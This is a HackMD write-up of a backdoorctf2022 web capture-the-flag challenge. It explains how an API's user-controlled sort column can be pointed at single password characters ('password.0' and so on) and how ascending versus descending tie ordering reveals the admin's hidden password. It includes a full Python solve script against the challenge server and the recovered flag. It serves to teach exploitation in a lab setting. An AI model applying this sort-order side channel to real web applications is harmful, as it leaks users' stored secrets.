Try   HackMD

S3KSU4L_INJ3C710N write-up

tags: backdoorctf2022 web

Challenge description

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

The challenge provides an web application with its source code. Once accessing the site URL, you can see the site returning a list of users.
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Source code

Let us take look on what this application does from the provided source code.
The following is the API which was used to retrieve users from database.

@app.route('/api/data') def data(): query = User.query total_filtered = query.count() col_index = request.args.get('order[0][column]') flag=1 if col_index is None: col_index=0 flag=0 col_name = request.args.get(f'columns[{col_index}][data]') users=[user.to_dict() for user in query] descending = request.args.get(f'order[0][dir]') == 'desc' try: if descending: users=sorted(users,key=lambda x:helper(x,col_name),reverse=True) else : users=sorted(users,key=lambda x:helper(x,col_name),reverse=False) except: pass start = request.args.get('start', type=int) length = request.args.get('length', type=int) users=users[start:start+length] for user in users: del user['password'] if flag==0: random.shuffle(users) return { 'data': users, 'recordsFiltered': total_filtered, 'recordsTotal': 500, 'draw': request.args.get('draw', type=int), }

As you can see there are only a few meaningful parameters

  • order[0][column]
    • Assignes the user provided value to the variable col_index
  • columns[{col_index}][data]
    • Based on the user provided value, col_name would be used to sort the users via helper function
  • order[0][dir]
    • Determines if the returned users are sorted in ascending or descending order
  • start
    • Detemines the starting index of the returned users list
  • length
    • Determines the length of the returned users list
  • draw
    • Determines the value of draw. Not that useful.

This implies we can control how many users being returned from the API and how it could be sorted.

We should also check how users are defined. The following code are ran on server start.

faker=Faker() hexc=[] for i in range(16): hexc.append(hex(i)[2:]) for i in range(50): random.shuffle(hexc) passwords=[] lucky=random.randint(100,400) f=open('users.txt','w') for i in range(500): random.shuffle(hexc) passwords.append("".join(hexc)) name=faker.name() phone=faker.phone_number() if phone[0]!='+': phone='+'+phone if i == lucky: name='Adm1n_h3r3_UwU' f.write(name+'||'+passwords[i]+'||'+faker.address().replace('\n',', ')+'||'+phone+'||'+faker.email()) f.write('\n') f.close()

Basically this code provides the following information

  • The hexc variable is a list of 16 characters ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
  • There are 500 users with one random user will be assigned a special name Adm1n_h3r3_UwU.
  • A password will be created for each user by shuffling the hexc variable with function random.shuffle, so we can tell the password will be of length 16, with 16! of possible permutation

Challenge Analysis

So after all that work, what is the flag for this challenge? What? You don't have any idea? Well, it was quite obvious to see that the password of that special user is the flag of this challenge.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

The password is removed before returning user data from /api/data. Is there a way to obtain the password of the user Adm1n_h3r3_UwU?

Basically what we could do is that we can query the users and sort them with any column including password. However, a password may have 16! permutation, thus it is not that helpful if we sort users with the entire password. We can do better.
Let us have a look how help was defined.

def helper(data, prop, is_data=False): pr = prop.split('.') pr1= prop.split('.') count=0 for p in pr: if count == 2: return None count+=1 pr1=pr1[1:] nextprop = '.'.join(pr1) if hasattr(data, p): if nextprop=='': return getattr(data, p) return helper(getattr(data, p), nextprop, True) ...snip... elif type(data) == list or type(data) == tuple or type(data)==str: try: if nextprop=='': return data[int(p)] return helper(data[int(p)], nextprop, True) except (ValueError, TypeError, IndexError): return None else: return None if is_data: return data else: return None

What does this do? Let us ask ChatGPT.

This is a recursive function that takes in a data object, a property string, and an optional boolean flag and returns the value at the specified property of the data object if it exists, or None if it does not exist. The property string can include dots to indicate nested properties and the function will traverse the data object accordingly. The optional boolean flag is used to indicate whether the data object being passed to the function is the original data object or a nested data object.

This means we can sort users by user.password.__repr__ by setting the GET parameter columns[{col_index}][data] to password.__repr__. Is this useful? Not really. However, what happens if you provide an integer? What if we pass password.0?

        elif type(data) == list or type(data) == tuple or type(data)==str:
            try:
                if nextprop=='':
                    return data[int(p)]
                return helper(data[int(p)], nextprop, True)

user.password is a string and 0 is the last property, nextprop will be '', then data[int(p)] would be returned. This meansuser.password.0 will be interperted asuser.password[0]. This implies we can sort users by each character of the password. With this information we can sort the users by each index of the password and guess each character.

Exploitation

First attempt, assuming that the password character set is evenly distributed, divide the users into 16 chunks and guess the admin password by checking which chunk the admin is at. Gets a479ce51ec083f27. This was obviously wrong as there are duplicated characters.

Second attempt, I tried to sort the index of admin in user lists of each password index in ascending order and assign the smallest admin index to the first character in the sortedhexc at the corresponding password index and so on. This yeilds a479be51dc083f26 which is also wrong, but is actually quite close to the correct password.

Third attempt, thanks to mystiz613 for observing the in-place property of the functionsorted(), we can know the exact character of each index of the password by observing index of users in ascending and descending orders.
In particular, the users are sorted in-place which would occupy the same storage as the original ones when there is a tie as the following code implied.

    try:
        if descending:
            users=sorted(users,key=lambda x:helper(x,col_name),reverse=True)
        else :
            users=sorted(users,key=lambda x:helper(x,col_name),reverse=False)

Let us take a moment to appreciate the following screenshot from mystiz.

So basically we can determine the different chunks of users by comparing the list of sorted users from ascending order and descending order.

Consider the following list sorted by the first character of password ascendingly.

[
    {"user":2,"password":"0213"},
    {"user":7,"password":"0132"},
    {"user":1,"password":"1230"},
    {"user":4,"password":"1203"},
    {"user":6,"password":"2103"},
    {"user":5,"password":"2130"},
    {"user":3,"password":"3120"},
    {"user":8,"password":"3102"},
]

If we sorted the first character of password descendingly, we would get the following.

[
    {"user":3,"password":"3120"},
    {"user":8,"password":"3102"},
    {"user":6,"password":"2103"},
    {"user":5,"password":"2130"},
    {"user":1,"password":"1230"},
    {"user":4,"password":"1203"},
    {"user":2,"password":"0213"},
    {"user":7,"password":"0132"},

]

In our simplfied scenario, password is 4 character long with range from 0 to 3. In a large enough sample size (16 characters randomly distributed among 500 users), we can say it is very likely that every single character will appear at each index of the password.
There are some facts that we can tell from the two list:

  1. user 2 password starts with 0 as it is the first element of the ascending list
  2. user 7 password starts with 0 as it is the last element of the decending list
  3. Any users between user 2 and user 7 have password starts as 0 as the list is sorted
  4. We can deduce user 1 password starts with 1 as it is right after user 7 in the ascending list.
  5. We can deduce user 4 password starts with 1 as it is right before user 2 in the decending list.
  6. And so on until reaching the end of the list

We can tell what is the corresponding password character for users from their corresponding index in the user list. After we have the mapping, we just have to find the index of user Adm1n_h3r3_UwU and determine the character of password at a particular index. Repeat the query from password.0 to password.15 to obtain the entire password of user Adm1n_h3r3_UwU

Solve script

import requests
url = "http://hack.backdoor.infoseciitr.in:16052/api/data"
query_params = {
    "columns[0][data]": "password.2",
    "columns[0][passwords]": "",
    "order[0][column]": "0",
    "order[0][dir]": "AAA",
    "start": "0",
    "length": "500"
}
password_charset = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
def get_index_from_list(lst, name):
    for i, v in enumerate(lst):
        if(v["name"] == name):
            return i
    return None
idxs = []
temp_map = {}
password = ""
for i in range(16):
    query_params["columns[0][data]"] = f"password.{i}"
    query_params["order[0][dir]"] = "asce"
    response = requests.get(url, params=query_params, verify=False)

    if response.status_code == 200:
        data = response.json()["data"]
        admin_index = next((index for (index, d) in enumerate(data) if d["name"] == "Adm1n_h3r3_UwU"), None)
    else:
        print("Request failed with status code:", response.status_code)

    query_params["order[0][dir]"] = "desc"
    response = requests.get(url, params=query_params, verify=False)
    if response.status_code == 200:
        data_rev = response.json()["data"]
        
    else:
        print("Request failed with status code:", response.status_code)
    a = [0]
    b = [len(data_rev)]
    j = 0
    while True:
        temp_rev_idx = get_index_from_list(data_rev,data[a[j]]["name"])
        temp_len = len(data_rev[temp_rev_idx:b[j]])
        temp_idx = a[j] + temp_len
        a.append(temp_idx)
        b.append(temp_rev_idx)
        j += 1
        if temp_idx >= 500:
            break
    for k,c in zip(range(0,len(a)-1),password_charset):
        x = range(a[k],a[k+1])
        if(admin_index in x):
            password += c
            print(f"password at idx {i} : {c}")
            break
print(password)

The output of the script yields
a469ce51db083f27